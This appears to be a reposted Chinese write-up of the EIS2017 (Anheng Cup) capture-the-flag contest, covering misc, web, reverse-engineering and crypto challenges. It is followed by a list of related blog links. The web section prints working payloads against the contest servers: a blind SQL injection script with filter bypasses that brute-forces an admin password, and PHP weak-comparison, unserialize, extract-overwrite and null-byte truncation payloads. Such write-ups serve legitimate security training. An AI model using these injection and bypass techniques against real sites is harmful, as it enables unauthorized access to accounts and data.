安恒杯EIS2017 writeup
来源:互联网 发布:uuu网络加速官方下载 编辑:程序博客网 时间:2024/06/07 04:55
Misc
签到题
隐藏在黑夜里的秘密
下载压缩包,打开时提示加密,猜测可能是伪加密,于是用 010editor 把加密位去掉,置为
0。然后解压压缩包,发现里面有个 flag,怀着激动的心情打开一看,结果是这样的:
夜已降临之时,
我将自己裹在深邃的黑暗中, 在夜的最深处
期待着光明与无畏
Web
文件上传
直接提交 php 文件:
会被拦截:
Fuzz 发现,< 和 php 会被拦截:
猜测后端没有对数组进行过滤,将 content参数改为数组,成功上传:
得到 flag:
PHP 代码审计
php 动态变量特性。
传入参数args=GLOBALS,显示所有变量,得到flag:
php trick
打开给的链接显示找flag,然后查看 html源码,看到了 index.php的源码
发现使用了extract 函数解析 get 参数,而下面函数要求有 gift 变量,所以 get 要传 gift变量过去
访问 http://202.120.7.221:2333/index.php?gift=ddd之后,出现提示“flag 被加密了 再加密一次就得到 flag 了”这个提示
接着看源码,发现 flag 变量是在 extract 函数之前的,所以可以通过extract 函数覆盖掉 flag 的值,程序接着会使用 file_get_contents 函数,以flag 作为参数,并使用伪协议 php://input 传入 post 的数据。只要使得flag 变量的值和 post 传入的数据一样,即可得到 flag。
比赛方要求的 flag 形式是 EIS{},RVF 显然不是,猜测是凯撒密码,解密得到 flag
Login
打开题目链接,还是熟悉的界面,还是熟悉的味道。用户名是 admin,尝试了一下发现是 sql 盲注,过滤了select、and、mid、substr 等关键字以及*、/、!、空格等特殊字符。但是单引号可以用,而&&可以绕过 and 的过滤,()可以绕过空格的过滤。
F12 审查元素可以得到提示。
构造语句 uname=admin’%26%26left(pwd,1)=’a’%26%26’1’=’1通过构造中间的判断语句,根据返回结果的不同,可以判断语句是否正确。如果语句正确,则返回“password error!”,如果错误,则返回“no such user!”
脚本跑一下,得到密码为 fsaoaigafsdfsdubbwouibiaewrawe
import requestsimport stringstring = 'qwertyuiopasdfghjklzxcvbnm' p = ''r=requests.session()print "start...." for i in range(1,36): for j in string:load="admin'&&left(pwd,%d)='%s%s'&&'1'='1" %(i,p,j)#print loadpayload ={'uname':load, 'pwd':123} #print payloadresult =r.post("http://202.112.26.124:8080/fb69d7b4467e33c71b0153e62f7e2bf0/index.php",data=payload).text#print resultif "password error!" in result: p=p+jprint pprint "end..."
登录得到 flag 为:EIS{SQLI_INJECTIion_blind}
不是管理员也能login
访问题目链接,随便填写,提示用户名有误。
根据提示到说明与帮助处查看发现一段php 代码,限制条件为用户名的 md5 值等于 0(双等号),根据php 弱类型比较,可以通过传入 md5 值为 0e 开头的字符串绕过,如240610708
然后在这个页面 F12 审查元素,可以发现另一段 php 代码,发现是使用了反序列化函数。
同时也利用了 php 的特性,当整数与字符串弱比较(双等号)时,字符串会强制转换成整数
0,只要传进去的参数反序列化后值为整数 0,那么就可以绕过 if 语句中的判断。
Payload:userid=240610708&password=a:2:{s:4:"name";i:0;s:3:"pwd";i:0;}
得到 flag 为:EIS{Smi1E_on_YouR_face_And_in_y0ur_heart}
随机数
刷新几次,发现值会重复,猜测是:在几个数中随机选择一个作为种子,然后再生成随机数
所以,写个脚本,随便爆破出来一个种子就行了运行环境:ubuntu16.04<?php$z = 0;for ($x=0; $x<1000; $x++){srand($x);$y = rand(1, 1000);if ($y == 980){$z = $x;}}srand($z);echo rand(1,1000); echo "\n";echo rand(1,1000)-1; echo "\n";echo rand(1,1000)-1; echo "\n";echo rand(1,1000)-1; echo "\n";?>
得到第四个随机数为 233,提交,得到 flag:
快速计算
Python 脚本跑一发,脚本如下:
Flag:
PHP是最好的语言
访问 http://202.112.26.124:8080/95fe19724cc6084f08366340c848b791/index.php.bak
得到源码
构 造 foofoo=array('param1'=>'2018abc','param2'=>array(array(array(1),0),0,2,3,4))
'param1'=>'2018abc',绕过
'param2'=>array(array(array(1),0),0,2,3,4) 绕过
所以传入
foo=a:2:{s:6:"param1";s:7:"2018abc";s:6:"param2";a:5:{i:0;a:2:{i:0;a:1:{i:0;i:1;}i:1;i:0;}i:1;i:0;i:2;i:2
;i:3;i:3;i:4;i:4;}}
接下来绕过
这里用到的技巧是,array 和 string 进行 strcmp 比较的时候会返回一个 null,%00 可以截断
eregi
传入fish=123%00&egg[0]=11MyAns11&egg[1][]=1111成功绕过
payload: http://202.112.26.124:8080/95fe19724cc6084f08366340c848b791/index.php?fish=123%00&egg[0]=11MyAns11&egg[1][]=1111&foo=a:2:{s:6:%22param1%22;s:7:%222018abc%22;s:6:%22param2%22;a:5:{i:0;a:2:{i:0;a:1:{i:0;i:1;}i:1;i:0;}i:1;i:0;i:2;i:2;i:3;i:3;i:4;i:4;}}
得到 flag
Reverse
IgniteMe
下载之后用PEiD 检测无壳,用 OD 找特征 Unicode 码找到 Congratulations!直接用 IDA静态分析,进入主函数反编译。
由此跟进 sub_4011C0 函数。
得到:GONDPHyGjPEKruv{{pj]X@rF,由 strcmp 函数,当 GONDPHyGjPEKruv{{pj]X@rF和v4 相同时返回 0,分析上面的算法写出如下脚本。
# -*- coding:utf-8 -*-byte_4420B0 =[0x0D, 0x13, 0x17, 0x11, 0x2, 0x1, 0x20, 0x1D, 0x0C, 0x2, 0x19, 0x2F, 0x17, 0x2B, 0x24, 0x1F, 0x1E, 0x16, 0x9, 0x0F, 0x15, 0x27, 0x13, 0x26, 0x0A, 0x2F, 0x1E, 0x1A, 0x2D, 0x0C, 0x22,0x4]v4 ="GONDPHyGjPEKruv{{pj]X@rF" for i in range(0, 24):for j in range(65, 123):if ord(v4[i]) == (byte_4420B0[i] ^ ((j ^ 0x55) + 0x48)): if 0x40 < j< 0x5B: j += 0x20print(chr(j),end="")
得到 flag:EIS{wadx_tdgk_aihc_ihkn_pjlm}
ReverseMe
下载之后查壳,无壳。OD 载入直接到程序入口。用 OD 中文搜索插件:
打开 IDA 搜索字符串:congratulations
跟进 sub_014A0 函数:
sub_4014A0 很辣眼,三个参数,第一个参数原文,第二个密钥,第三个长度
密文对比的方法,可以看到先循环位移,然后再异或。加密 = 每位 ROL 2 xor 密钥对应的位数。反向推导一下就是 密文 xor 密钥 ROR 2。看的时候要注意这个变量的地址是连续的。
用 python 破解这个算法:
密文对比的方法,可以看到先循环位移,然后再异或
Crypto
easy crypto
we have key:hello world
看到只有一个 key 猜是对称加密
get buf unsigns[256] get buf t[256]
2 个 256 长度参数,然后是简单地用key 打乱 s 中的值、之后看到有异或操作基本确定是rc4
了
直接用 rc4 使用已知的 key 解密
# -*- coding: utf-8 -*-def rc4_dec(enc_data, key): j = 0s = range(256)for i in range(256): j=(j+s[i]+ord(key[i%len(key)])) % 256 s[i], s[j] =s[j], s[i]i = j = 0result = []for c in enc_data:i= (i+1) % 256j= (j+s[i]) % 256s[i], s[j] =s[j], s[i] result.append(chr(ord(c)^s[(s[i]+s[j])%256]))return ''.join(result)
flag =rc4_dec(open("enc.txt", "rb").read(), 'hello world') printflag
EIS{55a0a84f86a6ad40006f014619577ad3}
- 安恒杯EIS2017 writeup
- 【4.29安恒杯】writeup
- 十月安恒杯 writeup
- EIS2017-几道简单的WEB题的WP
- ACTF writeup
- ACTF writeup
- ISCC2014 writeup
- hctf2014 writeup
- UCTF WriteUp
- ISCC2014 writeup
- ISCC2016Basic Writeup
- writeup-flag
- writeup-passcode
- writeup-random
- writeup-coin1
- writeup-khaleesi
- writeup-web
- writeup-woo
- 代码的编译、连接与执行过程分析
- ios/swift基础组件代码
- jquery实现post异步请求
- 14个你可能不知道的JavaScript调试技巧
- 11月6日心得
- 安恒杯EIS2017 writeup
- C++速成(1)
- Eclipse常用操作烂笔头记忆
- 2017 java京东面试经历
- 2763: [JLOI2011]飞行路线
- HTTP中GET与POST的本质区别
- linux下使用adb,找不到设备的问题
- log4j.properties配置文件
- IOS视频编辑,视频裁剪,视频拼接,音频处理,视频处理